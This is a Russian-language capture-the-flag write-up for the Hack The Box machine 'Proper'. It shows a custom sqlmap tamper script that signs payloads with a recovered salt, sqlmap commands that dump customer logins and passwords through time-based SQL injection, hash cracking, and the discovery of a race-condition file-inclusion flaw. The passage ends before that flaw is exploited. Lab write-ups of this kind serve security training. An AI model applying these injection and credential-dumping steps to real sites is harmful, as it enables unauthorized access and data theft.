Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье мы пройдем машину Proper с Hack The Box. В процессе я покажу, как получить учетные данные к сайту через SQL-инъекцию, написав свой tamper к sqlmap. Далее эксплуатируем race condition через RFI, чтобы получить первоначальный доступ к хосту. Завершим прохождение повышением привилегий через использование именованных каналов скомпрометированной службы.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
IP машины — 10.10.10.231, заносим его в /etc/hosts
:
10.10.10.231 proper.htb
И сканируем порты.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
По результатам сканирования имеем всего один открытый порт — 80, там откликается веб‑сервер Microsoft IIS httpd 10.0.
Приступаем к осмотру сайта.
Главная страница сайта
На самом сайте зацепиться не за что, поэтому врубаем перебор каталогов.
Справка: сканирование веб-сайта
Сканирование сайта методом перебора каталогов и файлов по словарю — это одно из первых действий при пентесте веб‑приложения. Для этого обычно применяют dirsearch, DIRB или более быстрый gobuster. Мы же в этой статье будем использовать встроенные средства Burp Suite.
Перехватываем запрос в Burp Proxy и в контекстном меню выбираем Engagement tools → Discover content. Указываем глубину сканирования, интересующие нас расширения файлов и бэкапов.
Настройки Burp Discover content
Спустя несколько минут (если ты, как и я, выбрал 200 потоков для сканирования) получим карту сайта, отталкиваясь от которой будем определять следующий вектор атаки.
Карта сайта proper.htb
Я посмотрел все комментарии на всех страницах (в контекстном меню Engagement tools → Find comments), но снова ничего важного. А вот файл products-ajax.php
принимает какие‑то необычные параметры. Закинем этот запрос в Burp Repeater для теста. В таких случаях стоит получить все возможные ответы от сервера при разном количестве параметров и даже их разном значении. Так, если удалить один из параметров, то получаем ошибку, содержащую соль. А если изменить значение любого из параметров, то нам сообщат об обнаружении атаки.
Запрос без одного параметра
Запрос с измененным значением одного из параметров
Так как используется соль, параметр h
, скорее всего, хеш MD5 от значения параметра order
. Если его изменить, это приведет к ошибке, что подтверждает нашу догадку. Чтобы это проверить, нужно попробовать все возможные варианты хеширования с использованием соли. Их можно найти в справке к программе John the Ripper.
john --list=subformats | grep md5
Варианты хеширования MD5 с использованием соли
Для определения алгоритма нам нужно создать словарь (word
), содержащий строку id desc
, и файл с хешем и солью (hash
), записанными через знак доллара: hash$salt
. Затем перебираем все возможные форматы. Чтобы сделать это быстро, напишем скрипт Bash, который будет парсить формат из вывода справки, а затем применять его в команде брута хеша.
Сначала установим перенос строки в качестве разделителя (IFS
), а потом будем в цикле получать каждую строку из справки (переменная entry
). Для каждой такой строки (например, Format = dynamic_29 type = dynamic_29: md5(utf16($p))
) будем парсить формат:
tr -d ' '
удаляем из строки все пробелы (результат: Format=dynamic_29 type=dynamic_29:md5(utf16($p))
).cut -d '=' -f 3
разделяем строку по символу =
и получаем третью часть (результат: dynamic_29:md5(utf16($p))
).cut -d ':' -f 1
разделяем строку по символу :
и получаем первую часть (результат: dynamic_29
).Затем выполняем перебор по полученному алгоритму (john --format=$format --wordlist=word hash
). Так выглядит полный скрипт:
#!/bin/bashIFS=$''for entry in $(john --list=subformats | grep md5)do format="$(echo $entry | tr -d ' ' | cut -d '=' -f 3 | cut -d ':' -f 1)" echo -e "nFormat: $format ---------------------------------n" john --format=$format --wordlist=word hashdone
Результат перебора алгоритмов
Для формата dynamic_4
(salt + word
) перебор закончился успешно. Так мы подтверждаем свое предположение и получаем искомый алгоритм хеширования с использованием соли.
Проверка алгоритма хеширования с использованием соли
Теперь мы можем манипулировать значением параметров так, чтобы они обрабатывались приложением. Текст ошибки натолкнул меня на мысль, что можно было бы написать tamper для sqlmap, хотя мы пока так и не установили достоверно, есть ли здесь возможность SQL-инъекции.
info
Темперы — это скрипты для sqlmap, которые преобразуют его запросы.
#!/usr/bin/env pythonfrom hashlib import md5from urllib.parse import quote_plusfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef tamper(payload, **kwargs): ''' ''' h = md5(b"hie0shah6ooNoim" + payload.encode()).hexdigest() return quote_plus(payload) + "&h=" + h
Этот файл (я назвал его sqlmap_tamper.py
) нужно разместить в директории /usr/share/sqlmap/tamper
, после чего запускаем sqlmap и проверяем, есть ли уязвимость. Нам нужно указать наш темпер в параметре tamper
, задать опцию -p
для проверки, а также то, что мы не хотим использовать кодирование URL.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --batch --skip-urlencode --tamper=sqlmap_tamper
Результат выполнения sqlmap
И мы попали в точку: приложение уязвимо к time-based SQL-инъекции, о чем нам и сообщил sqlmap. Эта чудо‑программа сохранила у себя шаблон нагрузки для заданного URL, поэтому мы можем спокойно продолжать работу и доставать необходимые данные — к примеру, названия баз данных (опция --dbs
).
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper --dbs
Получение имен баз данных с помощью sqlmap
Так мы получаем три базы данных: служебная information_schema
, тестовая test
и, скорее всего, нужная нам база данных приложения — cleaner
. Получим все таблицы из базы опцией --tables
, а саму базу указываем в параметре -D
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner --tables
Получение таблиц в базе cleaner с помощью sqlmap
В базе есть три таблицы, и в одной из них должны быть учетные данные. Скорее всего, нам подойдет таблица customers
. Получим названия столбцов опцией --columns
, указав таблицу в параметре -T
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers --columns
Получение столбцов в таблице customers с помощью sqlmap
Действительно, нашлись учетные данные! Давай получим значения (опция --dump
) из столбцов login
и passwords
. Столбцы указываем через запятую в параметре -C
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers -C login,password --dump
Получение учетных данных
Извлечение данных происходит очень долго, поэтому попробуем взломать уже полученные хеши. Перебор с солью ни к чему не привел, поэтому я попробовал взломать хеш без соли при помощи md5decrypt.net. Это дало результат!
Взломанные пароли пользователей
Авторизуемся с полученными учетными данными на сайте. Нам теперь открываются дополнительные возможности, одна из них — смена цветовой темы. Причем интересен сам способ ее смены: тема устанавливается через передачу GET-параметра theme
.
Страница сайта для авторизованных пользователей
Стоит протестировать GET-параметры так же, как и в прошлый раз. Если мы изменим или удалим один из них, то нам сообщат об обнаружении атаки. Но раз мы знаем, как осуществляется подпись, давай укажем значение, которое будет обработано сервером, к примеру test
.
Создание подписи первого параметра
Ошибка при передаче значения test
Как мы видим из текста ошибки, из указанной нами директории подключается файл header.inc
(строка 12) с помощью функции file_get_contents
, и если в файле отсутствует последовательность символов <?
(строка 18), то он добавляется как include (строка 19).
Таким образом, обращение к файлу происходит дважды, а это означает уязвимость к атаке типа race condition: перед проверкой и включением файла его содержимое возможно изменить.
Источник: xakep.ru